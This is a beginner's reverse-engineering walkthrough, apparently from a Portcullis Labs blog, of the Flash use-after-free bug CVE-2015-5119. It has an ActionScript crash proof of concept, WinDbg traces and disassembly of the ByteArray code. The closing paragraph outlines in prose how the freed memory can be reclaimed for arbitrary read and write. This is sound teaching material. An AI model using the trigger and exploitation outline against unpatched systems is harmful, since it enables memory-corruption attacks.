Research and Development

This document is a written form of a workshop and presentation I gave at Portcullis Labs in late July 2015. It is a beginner’s walkthrough to understand the recent Flash bug that was discovered in Hacking Team’s pocket and given the sweet name of CVE-2015-5119. It was found and exploited by Vitaliy Toropov.

Disclaimer: If you are already a confirmed reverse engineer xor a debugging ninja, this document is not for you, go hack something else :-).

As a beginner software bug analysis is not a very easy task. It requires a fair amount of experience that you can only get with motivation, time, perseverance and someone to kick your but when you start to be discouraged. One may find easier to work on example codes, made-up proof of concept and other challenges. This is true as it surely helps to quickly understand some concepts but if you are willing to spend some time I suggest you’d rather work on real bugs. This way you will dive into one specific software product, you will start to understand its internals and eventually find your own bugs. Also, you will get that extra little feeling of compl33tness and the beloved one will eventually come back.

In this article we will first start to reverse engineer the function that crashes. We will then dig around it to understand the circumstances of the crash. This will be done by recreating step by step the different pieces needed to produce the final proof of concept. Lastly, we will finish by identifying where the allocation and the freeing of the faulty memory block is performed.

Prerequisites

You first need to download a vulnerable version of Flash. I suggest to use Flash player rather than the plugin version. It is much easier to debug. Try to find version 18_0.0.160 if you want to match my binary analysis. Additionally you can download or browse the AVM+ avmplus source code.

Obviously you need a debugger. Pick up the one of your choice, there are plenty of excellent free ones: Windbg, Ollydbg2, ImmunityDbg, x64dbg. My assembly samples have been produced with IDA Pro. Only using a debugger is enough and you don’t really need a disassember but you can always try the demonstration version of IDA Pro or Hopper on Unix.

In addition, download the walkthrough sample archive.

Lastly a fair knowledge of x86 assembly and object programming is desired. Grab a good cup of excellent tea. Or coffee if you are one of those.

The crash

Enough of the boring verbiage, let’s start. Observe the following Flash Action Script code.

ba = new ByteArray();
ba.length = 0x01000000;

o = new Object();
o.valueOf = function()
{
    ba.clear();
    return 0x41414141;
}

ba[0x42424242] = o

At first you can see that a new Byte Array is being initialised with the size of 0×01000000 bytes. There is a reason why the size is this big and we will get to it later. Right after a new object is created and its valueOf method is being overloaded with some custom code. The object is then assigned in the byte array object at offset 0×42424242.

Open Flash player and open the 0_poc.swf sample file. Attach your debugger. I will use Windbg for this paper but use the one of your choice. Then click on the Trigger button and observe the following crash.

Output from Windbg:

(7ec.e28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=045acfa9 ecx=0458de07 edx=00000007 esi=49d94242 edi=01163810
eip=01898e8d esp=0015e71c ebp=0015e790 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98ad:
01898e8d 8806            mov     byte ptr [esi],al          ds:002b:49d94242=??

As you can see, Flash is trying to assign a byte at ESI at a memory location that is not mapped in memory. The value of EAX is 0×41414141.

If you want to use a disassembler, jump to the faulting instruction. Beware of address space layout randomization (ASLR). You need to compute the correct address. This is easily done by subtracting the desired address with the start address of the loaded module and then add the base address of the module. You can get the start address with Windbg using the following command:

0:000> lm m flashplayer_18_0_0_160
start    end        module name
012a0000 01fd3000   flashplayer_18_0_0_160   (export symbols)       C:\Users\user\Desktop\Flash\flashplayer_18_0.0.160.exe

You can get the base address of the module from IDA Pro running the following Python command:

Python>hex(idaapi.get_imagebase())
0x400000

Jump at 0x009f8e8d (0x01898e8d – 0x012a0000 + 0×400000) and observe the following function.

.text:009F8E70 sub_9F8E70      proc near
.text:009F8E70
.text:009F8E70 arg_0           = dword ptr  4
.text:009F8E70 arg_4           = dword ptr  8
.text:009F8E70
.text:009F8E70                 mov     eax, [esp+arg_0]
.text:009F8E74                 push    esi
.text:009F8E75                 push    eax
.text:009F8E76                 add     ecx, 18h
.text:009F8E79                 call    sub_9F8AF0
.text:009F8E7E                 mov     ecx, [esp+4+arg_4]
.text:009F8E82                 push    ecx
.text:009F8E83                 mov     esi, eax
.text:009F8E85                 call    sub_9E0170
.text:009F8E8A                 add     esp, 4
.text:009F8E8D                 mov     [esi], al              ; Crashes here.
.text:009F8E8F                 pop     esi
.text:009F8E90                 retn    8
.text:009F8E90 sub_9F8E70      endp

The function takes two arguments. Then two functions are called. The first argument of the sub_9F8AF0() function is the same argument as the sub_9F8E70() function. The returned value is saved in the ESI register, remember, where the crash occurs. The value being saved is the return value of the second function. The argument of the second function sub_9E0170() is the second argument of the sub_9F8E70() function.

Let’s restart Flash and break in sub_9F8E70(): start address + 0x09F8E70 – 0×400000.

0:007> ba e1 flashplayer_18_0_0_160+0x5f8e70
0:007> g
SetContext failed, 0x80070005
MachineInfo::SetContext failed - Thread: 001ABAE0  Handle: 2cc  Id: 27c - Error == 0x80070005
Breakpoint 0 hit
eax=42424242 ebx=038e03f9 ecx=038e03f8 edx=01908e70 esi=045c42f8 edi=00fc3810
eip=01908e70 esp=0041eb20 ebp=0041eb90 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c9890:
01908e70 8b442404        mov     eax,dword ptr [esp+4] ss:002b:0041eb24=42424242

The first argument is 0×42424242. Remember the Action Script code, this is our byte array index. Let’s step now until the first function returns.

0:000> p
SetContext failed, 0x80070005
MachineInfo::SetContext failed - Thread: 001ABE40  Handle: 3c0  Id: 114c - Error == 0x80070005
SetContext failed, 0x80070005
MachineInfo::SetContext failed - Thread: 001ABAE0  Handle: 2cc  Id: fac - Error == 0x80070005
eax=49d94242 ebx=038e03f9 ecx=038e0434 edx=00000000 esi=045c42f8 edi=00fc3810
eip=01908e7e esp=0041eb1c ebp=0041eb90 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c989e:
01908e7e 8b4c240c        mov     ecx,dword ptr [esp+0Ch] ss:002b:0041eb28=e97f6304
0:000> dd eax
49d94242  00000000 00000000 00000000 00000000
49d94252  00000000 00000000 00000000 00000000
49d94262  00000000 00000000 00000000 00000000
49d94272  00000000 00000000 00000000 00000000
49d94282  00000000 00000000 00000000 00000000
49d94292  00000000 00000000 00000000 00000000
49d942a2  00000000 00000000 00000000 00000000
49d942b2  00000000 00000000 00000000 00000000

The function returns a pointer and we can see the address pointed is mapped. Let’s see what the second function returns.

0:000> p
eax=49d94242 ebx=038e03f9 ecx=04637fe9 edx=00000000 esi=49d94242 edi=00fc3810
eip=01908e85 esp=0041eb18 ebp=0041eb90 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98a5:
01908e85 e8e672feff      call    flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b90 (018f0170)
0:000> dd 04637fe9 L4
04637fe9  0201c03d 60000000 000449f1 f9044854
0:000> p
eax=41414141 ebx=038e03f9 ecx=00eacf07 edx=00000007 esi=49d94242 edi=00fc3810
eip=01908e8a esp=0041eb18 ebp=0041eb90 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98aa:
01908e8a 83c404          add     esp,4

The first argument of the sub_9E0170() function is being saved in the ECX register. It seems to be a pointer. The return value of the function is 0×41414141. Remember again, the returned value of the overloaded valueOf method.

Stepping until the instruction that crashes shows that the memory address 0x49d94242 is not mapped anymore.

0:000> p
eax=41414141 ebx=038e03f9 ecx=00eacf07 edx=00000007 esi=49d94242 edi=00fc3810
eip=01908e8d esp=0041eb1c ebp=0041eb90 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98ad:
01908e8d 8806            mov     byte ptr [esi],al          ds:002b:49d94242=??
0:000> dd esi
49d94242  ???????? ???????? ???????? ????????
49d94252  ???????? ???????? ???????? ????????
49d94262  ???????? ???????? ???????? ????????
49d94272  ???????? ???????? ???????? ????????
49d94282  ???????? ???????? ???????? ????????
49d94292  ???????? ???????? ???????? ????????
49d942a2  ???????? ???????? ???????? ????????
49d942b2  ???????? ???????? ???????? ????????

The devil is in the sub_9E0170() function.

Understanding AvmCore::integer

It is clear now that the function that crashes is the one responsible for assigning a byte to an element of the array.  We usually never really need the source code when debugging a crash but it surely ease the work. A quick look at the ByteArray source code gives us the function symbols:

void ByteArrayObject::setUintProperty(uint32_t i, Atom value)
{
    m_byteArray[i] = uint8_t(AvmCore::integer(value));
}

We can set ourselves the symbols in the disassembler.

.text:009F8E70 ByteArrayObject__setUintProperty proc near
.text:009F8E70
.text:009F8E70 index           = dword ptr  4
.text:009F8E70 atom            = dword ptr  8
.text:009F8E70
.text:009F8E70                 mov     eax, [esp+index]           ; The index in the array
.text:009F8E74                 push    esi
.text:009F8E75                 push    eax
.text:009F8E76                 add     ecx, 18h
.text:009F8E79                 call    ByteArray_operator_bracket ; Return the memory address of array+index.
.text:009F8E7E                 mov     ecx, [esp+4+atom]
.text:009F8E82                 push    ecx
.text:009F8E83                 mov     esi, eax
.text:009F8E85                 call    AvmCore_integer
.text:009F8E8A                 add     esp, 4
.text:009F8E8D                 mov     [esi], al                  ; Set the byte at array+index.
.text:009F8E8F                 pop     esi
.text:009F8E90                 retn    8
.text:009F8E90 ByteArrayObject__setUintProperty endp

The way the ByteArray_operator_bracket() function works is not needed here. The fun is happening in the AvmCore_integer() function. The source code of this function can be found here. I have populated the disassembler with the new known symbols.

.text:009E0170 AvmCore_integer proc near
.text:009E0170
.text:009E0170
.text:009E0170 var_8           = qword ptr -8
.text:009E0170 atom            = dword ptr  4
.text:009E0170
.text:009E0170                 mov     eax, [esp+atom]
.text:009E0174                 mov     ecx, eax
.text:009E0176                 and     ecx, 7
.text:009E0179                 cmp     ecx, 6                       ; Check the atom's kind.
.text:009E017C                 jnz     short convert_the_object
.text:009E017E
.text:009E017E return_the_value:
.text:009E017E                 sar     eax, 3
.text:009E0181                 retn
.text:009E0182
.text:009E0182 convert_the_object:
.text:009E0182                 cmp     ecx, 5
.text:009E0185                 jz      short return_the_value
.text:009E0187                 push    eax
.text:009E0188                 call    number
.text:009E018D                 push    ecx
.text:009E018E                 fstp    [esp+8+var_8]
.text:009E0191                 call    integer_d
.text:009E0196                 add     esp, 8
.text:009E0199                 retn
.text:009E0199 AvmCore_integer endp

The argument of this function is an atom. If the object is an integer, its value is returned. Otherwise the number() function is called on the atom.

Let’s verify this by seeing how the following ActionScript is being executed:

ba = new ByteArray();
ba.length = 0x01000000;

ba[0] = 0x41;

Open the 1_simplebyte.swf with Flash player, attach your debugger, set your breakpoints and break at the AvmCore_integer() function.

eax=068a0000 ebx=0109ecb0 ecx=039e9434 edx=00748e70 esi=03b132f8 edi=039e93f8
eip=00748e7e esp=0109eb9c ebp=0109ec10 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c989e:
00748e7e 8b4c240c        mov     ecx,dword ptr [esp+0Ch] ss:002b:0109eba8=0e020000
0:000>

...

eax=0000020e ebx=0109ecb0 ecx=00000006 edx=00748e70 esi=068a0000 edi=039e93f8
eip=00730179 esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b99:
00730179 83f906          cmp     ecx,6

The atom’s kind is indeed an integer.

eax=0000020e ebx=0109ecb0 ecx=00000006 edx=00748e70 esi=068a0000 edi=039e93f8
eip=0073017e esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b9e:
0073017e c1f803          sar     eax,3
0:000> p
eax=00000041 ebx=0109ecb0 ecx=00000006 edx=00748e70 esi=068a0000 edi=039e93f8
eip=00730181 esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000207
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0ba1:
00730181 c3              ret

and the value 0×41 is being returned. But what happens if the atom is not an integer but a simple object.

Let’s use the following code:

ba = new ByteArray();
ba.length = 0x01000000;

ba[0] = 0x41;
ba[1] = new Object();

Open the 2_simpleobject.swf and break at the second call to AvmCore_integer() where the object is being assigned.

eax=07da0001 ebx=07a7ba29 ecx=07a42fe9 edx=00748e70 esi=07da0001 edi=03a59810
eip=00730170 esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b90:
00730170 8b442404        mov     eax,dword ptr [esp+4] ss:002b:0109eb98=e92fa407

...

eax=07a42fe9 ebx=07a7ba29 ecx=00000001 edx=00748e70 esi=07da0001 edi=03a59810
eip=00730179 esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b99:
00730179 83f906          cmp     ecx,6

...

eax=07a42fe9 ebx=07a7ba29 ecx=00000001 edx=00748e70 esi=07da0001 edi=03a59810
eip=00730188 esp=0109eb90 ebp=0109ec10 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0ba8:
00730188 e8f3e1ffff      call    flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aeda0 (0072e380)

As expected that atom’s kind is not an integer so the number() function is being called.

The number() function is mainly a loop with a switch inside.

.text:009DE380 number          proc near
.text:009DE380
.text:009DE380 atom            = dword ptr  4
.text:009DE380
.text:009DE380                 mov     eax, [esp+atom]
.text:009DE384                 mov     edx, eax
.text:009DE386                 and     edx, 7
.text:009DE389                 cmp     edx, 6                  ; Is it already a number?
.text:009DE38C                 jz      short return_the_value

...

.text:009DE3A2                 jmp     ds:off_9DE3FC[ecx*4]    ; Switch jump

If the object is already a number, its value is simply returned. Otherwise a 5 case plus default switch is encountered. Because our atom is of kind kObjectType, jump case 1 is used:

.text:009DE3B7 loc_9DE3B7:
.text:009DE3B7                 and     eax, 0FFFFFFF8h ; jumptable 009DE3A2 case 1
.text:009DE3BA                 mov     edx, [eax]
.text:009DE3BC                 mov     ecx, eax
.text:009DE3BE                 mov     eax, [edx+4Ch]
.text:009DE3C1                 call    eax             ; AvmCore::atomToScriptObject(atom)->defaultValue()

This can be verified from the debugger.

eax=07a42fe9 ebx=07a7ba29 ecx=00000000 edx=00000001 esi=07da0001 edi=03a59810
eip=0072e3a2 esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedc2:
0072e3a2 ff248dfce37200  jmp     dword ptr flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aee1c (0072e3fc)[ecx*4] ds:002b:0072e3fc=b7e37200

...

eax=0074ab30 ebx=07a7ba29 ecx=07a42fe8 edx=00a43de0 esi=07da0001 edi=03a59810
eip=0072e3c1 esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede1:
0072e3c1 ffd0            call    eax {flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1cb550 (0074ab30)}
0:000> p
eax=07a42fa2 ebx=07a7ba29 ecx=07a42f02 edx=02f65000 esi=07da0001 edi=03a59810
eip=0072e3c3 esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede3:
0072e3c3 8bd0            mov     edx,eax

This function returns an object and we loop once more if the returned object is not a number as seen below:

eax=07a42fa2 ebx=07a7ba29 ecx=07a42f02 edx=00000002 esi=07da0001 edi=03a59810
eip=0072e3c8 esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede8:
0072e3c8 83fa06          cmp     edx,6
0:000> t
eax=07a42fa2 ebx=07a7ba29 ecx=07a42f02 edx=00000002 esi=07da0001 edi=03a59810
eip=0072e3cb esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedeb:
0072e3cb 75c3            jne     flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedb0 (0072e390) [br=1]

Ultimately zero is returned.

Now let’s consider the following piece of code:

ba = new ByteArray();
ba.length = 0x01000000;

ba[0] = 0x41;
o = new Object();

o.valueOf = function()
{
    return 0x42;
}

ba[1] = o;

We have now overloaded the valueOf() method with an ActionScript function to make it to return 0×42. Open the 3_object_withvalueOf.swf file and break at the second call to the number() function. Step through until the call to the AvmCore::atomToScriptObject(atom)->defaultValue() function.

eax=014aab30 ebx=0393d3f9 ecx=031a94f0 edx=017a3de0 esi=06860001 edi=03124810
eip=0148e3c1 esp=0035eb4c ebp=0035ebd0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede1:
0148e3c1 ffd0            call    eax {flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1cb550 (014aab30)}
0:000> p
eax=00000216 ebx=0393d3f9 ecx=00000206 edx=00280000 esi=06860001 edi=03124810
eip=0148e3c3 esp=0035eb4c ebp=0035ebd0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede3:
0148e3c3 8bd0            mov     edx,eax

...

eax=00000216 ebx=0393d3f9 ecx=00000206 edx=00000006 esi=06860001 edi=03124810
eip=0148e3cd esp=0035eb4c ebp=0035ebd0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aeded:
0148e3cd c1f803          sar     eax,3
0:000> t
eax=00000042 ebx=0393d3f9 ecx=00000206 edx=00000006 esi=06860001 edi=03124810
eip=0148e3d0 esp=0035eb4c ebp=0035ebd0 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000207
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedf0:
0148e3d0 89442404        mov     dword ptr [esp+4],eax ss:002b:0035eb50=f1941a03

You can observe that the returned object is now an integer of value 0×42 as expected.

Allocation of the byte array.

Remember the byte array being initialised with a size of 0×01000000 bytes? The reason is that the VirtualAlloc() function is going to make the allocation and not the custom allocator for the purposes of a proof of concept. Fire up again the 0_poc.swf file and set a break point at VirtuallAlloc().

0:007> bp kernel32!VirtualAlloc
*** Unable to resolve unqualified symbol in Bp expression 'fastMalloc'.
0:007> ba e1 flashplayer_18_0_0_160+0x5f8e70
0:007> g

Click on the Trigger button and wait for the breakpoint to be hit.

Breakpoint 0 hit
eax=01000000 ebx=01000000 ecx=00000000 edx=00000000 esi=00d90058 edi=00001000
eip=74d8182f esp=0021e868 ebp=0021e8da iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
kernel32!VirtualAlloc:
*** Unable to resolve unqualified symbol in Bp expression 'fastMalloc'.
74d8182f ff250809d874    jmp     dword ptr [kernel32!_imp__VirtualAlloc (74d80908)] ds:002b:74d80908={KERNELBASE!VirtualAlloc (7548f002)}
0:000> t
eax=01000000 ebx=01000000 ecx=00000000 edx=00000000 esi=00d90058 edi=00001000
eip=7548f002 esp=0021e868 ebp=0021e8da iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
KERNELBASE!VirtualAlloc:
7548f002 8bff            mov     edi,edi
0:000> gu
eax=06900000 ebx=01000000 ecx=150a0000 edx=000adfb8 esi=00d90058 edi=00001000
eip=008af347 esp=0021e87c ebp=0021e8da iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x13fd67:
008af347 c3              ret

As you can see a block of 0×01000000 bytes is being allocated. Observe the allocation is done twice. The reason is that the block is not committed in the first call but both calls return the same address.

Now just add a new breakpoint on the AvmCore_Integer() function. Step over the ByteArray_operator_bracket() function. A new allocation is made.

0:000> ba e1 flashplayer_18_0_0_160+0x5f8e85
eax=42424242 ebx=04370ef9 ecx=04370f10 edx=01238e70 esi=044642f8 edi=03223810
eip=01238e79 esp=002fe898 ebp=002fe910 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c9899:
01238e79 e872fcffff      call    flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c9510 (01238af0)
0:000> g
Breakpoint 0 hit
eax=42425000 ebx=42425000 ecx=00000000 edx=00000000 esi=01690058 edi=00042425
eip=74d8182f esp=002fe70c ebp=002fe77e iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
kernel32!VirtualAlloc:
74d8182f ff250809d874    jmp     dword ptr [kernel32!_imp__VirtualAlloc (74d80908)] ds:002b:74d80908={KERNELBASE!VirtualAlloc (7548f002)}
0:000> t
eax=42425000 ebx=42425000 ecx=00000000 edx=00000000 esi=01690058 edi=00042425
eip=7548f002 esp=002fe70c ebp=002fe77e iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
KERNELBASE!VirtualAlloc:
7548f002 8bff            mov     edi,edi
0:000> gu
eax=077a0000 ebx=42425000 ecx=3b7e0000 edx=000ae308 esi=01690058 edi=00042425
eip=011af347 esp=002fe720 ebp=002fe77e iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x13fd67:
011af347 c3              ret

Indeed index 0×42424242 is too big for the 0×01000000 array, it needs to allocate a larger block. This time the desired size is 0×42425000 bytes and the block starts at address 0x077a0000.

0:000> dd 077a0000
077a0000  00000000 00000000 00000000 00000000
077a0010  00000000 00000000 00000000 00000000
077a0020  00000000 00000000 00000000 00000000
077a0030  00000000 00000000 00000000 00000000
077a0040  00000000 00000000 00000000 00000000
077a0050  00000000 00000000 00000000 00000000
077a0060  00000000 00000000 00000000 00000000
077a0070  00000000 00000000 00000000 00000000

Freeing the byte array.

Break just before the AvmCore_Integer() function is called. Set a new breakpoint on the VirtualFree() function. Observe it’s being hit before AvmCore_Integer() returns 0×41414141.

Breakpoint 2 hit
eax=49bc4242 ebx=04370ef9 ecx=032a94f1 edx=00000000 esi=49bc4242 edi=03223810
eip=01238e85 esp=002fe898 ebp=002fe910 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98a5:
01238e85 e8e672feff      call    flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b90 (01220170)
0:000> bp kernel32!VirtualFree
0:000> g
Breakpoint 4 hit
eax=077a0000 ebx=74d81401 ecx=42425000 edx=077a0000 esi=01690058 edi=030f4078
eip=74d81847 esp=002fe64c ebp=01690934 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
kernel32!VirtualFree:
74d81847 ff251009d874    jmp     dword ptr [kernel32!_imp__VirtualFree (74d80910)] ds:002b:74d80910={KERNELBASE!VirtualFree (7548ef47)}

This is because of ba.clear(). Indeed the memory at 0x077a0000 is not allocated anymore and Flash crashes.

0:000> dd 077a0000
077a0000  ???????? ???????? ???????? ????????
077a0010  ???????? ???????? ???????? ????????
077a0020  ???????? ???????? ???????? ????????
077a0030  ???????? ???????? ???????? ????????
077a0040  ???????? ???????? ???????? ????????
077a0050  ???????? ???????? ???????? ????????
077a0060  ???????? ???????? ???????? ????????
077a0070  ???????? ???????? ???????? ????????
0:000> g
(ef8.8a8): Access violation - code c0000005 (!!! second chance !!!)
eax=41414141 ebx=04370ef9 ecx=0576ca07 edx=00000007 esi=49bc4242 edi=03223810
eip=01238e8d esp=002fe89c ebp=002fe910 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98ad:
01238e8d 8806            mov     byte ptr [esi],al          ds:002b:49bc4242=??

Conclusion

In order to exploit this vulnerability, before the patch was applied, you had to overwrite the freed location with a vector object and then overwrite the length value of the vector object. This way it is possible to read and write anywhere in the process memory.

To conclude, exploiting vulnerabilities is the most enjoyable part for most of us but understanding a bug is a mandatory step to go further. Not only will it train you to be better at reversing code but it will help you to write more stable exploits. It is sad in a way that for this bug most of the people just ripped of the original exploit to simply replace it with their own shellcodes.


Request to be added to the Portcullis Labs newsletter

We will email you whenever a new tool, or post is added to the site.

Your Name (required)

Your Email (required)